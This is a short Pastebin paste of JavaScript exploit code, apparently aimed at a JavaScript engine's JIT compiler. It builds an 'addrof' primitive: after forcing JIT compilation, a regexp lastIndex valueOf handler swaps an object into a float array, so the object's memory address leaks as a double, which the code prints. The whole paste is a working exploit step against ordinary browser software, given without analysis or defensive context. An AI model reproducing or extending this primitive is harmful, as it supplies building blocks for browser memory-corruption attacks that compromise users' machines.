Guest User

Untitled

a guest
Dec 11th, 2018
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.20 KB | None | 0 0
  1. // addrof primitive:
  2. // Leaks address of an arbitrary JSObject
  3. function setupAddrof() {
  4. var arg = null;
  5. var leakme = null;
  6.  
  7. let regexp = /a/y;
  8.  
  9. function InfoLeaker(a) {
  10. regexp[Symbol.match](""); // This will invoke 'regexp.lastIndex.toString()'
  11. return a[0];
  12. }
  13.  
  14. // Force JIT compilation of the infoleak routine
  15. for (var i = 0; i < 100000; i++) {
  16. InfoLeaker([1.1, 2.2, 3.3]);
  17. }
  18.  
  19. // Installing an handler on 'valueOf' or 'toString'
  20. // allows executing arbitrary code without DFG bailing-out
  21. regexp.lastIndex = {
  22. valueOf: () => {
  23. arg[0] = leakme;
  24. return 0;
  25. }
  26. };
  27.  
  28. return function(obj) {
  29. leakme = obj;
  30. arg = [1.1, 2.2, 3.3];
  31.  
  32. return InfoLeaker(arg);
  33. };
  34. }
  35.  
  36. function trigger_infoleak() {
  37. let addrOfOnce = setupAddrof();
  38.  
  39. // Arbitrary object to leak address of
  40. var leakme = {};
  41.  
  42. // This is an address, but it's represented as a double
  43. let leakmeAddr = addrOfOnce(leakme);
  44.  
  45. if (leakmeAddr == 1.1 || typeof leakmeAddr == "object") {
  46. print("[-] Could not trigger infoleak!");
  47. return;
  48. }
  49.  
  50. print("[+] leakme @ " + leakmeAddr);
  51. }
  52.  
  53. trigger_infoleak();
Add Comment
Please, Sign In to add comment